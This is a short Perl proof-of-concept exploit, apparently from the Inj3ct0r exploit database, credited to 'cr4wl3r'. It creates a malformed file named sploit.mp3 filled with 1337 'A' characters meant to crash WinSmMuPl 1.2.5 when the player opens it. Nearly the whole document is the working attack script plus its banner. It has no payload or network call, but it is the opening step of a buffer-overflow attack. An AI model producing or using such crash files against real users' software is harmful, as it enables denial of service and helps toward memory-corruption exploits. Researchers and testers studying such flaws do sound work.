#!/usr/bin/perl

# WinSmMuPl 1.2.5 (.mp3) Local Crash PoC

# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# 0     _                   __           __       __                     1
# 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
# 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
# 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
# 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
# 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
# 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
# 1                  \ \____/ >> Exploit database separated by exploit   0
# 0                   \/___/          type (local, remote, DoS, etc.)    1
# 1                                                                      1
# 0  [+] Site            : Inj3ct0r.com                                  0
# 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
# 0                                                                      0
# 1                    ######################################            1
# 0                    I'm cr4wl3r  member from Inj3ct0r Team            1
# 1                    ######################################            0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#[+] Discovered By: cr4wl3r

print "#####################################################\n";
print "[!] WinSmMuPl 1.2.5 (.mp3) Local Crash PoC\n";
print "\n";
print "[!] By: cr4wl3r\n";
print "#####################################################\n";

my $boom = "A" x 1337;
my $filename = "sploit.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nDone!\n";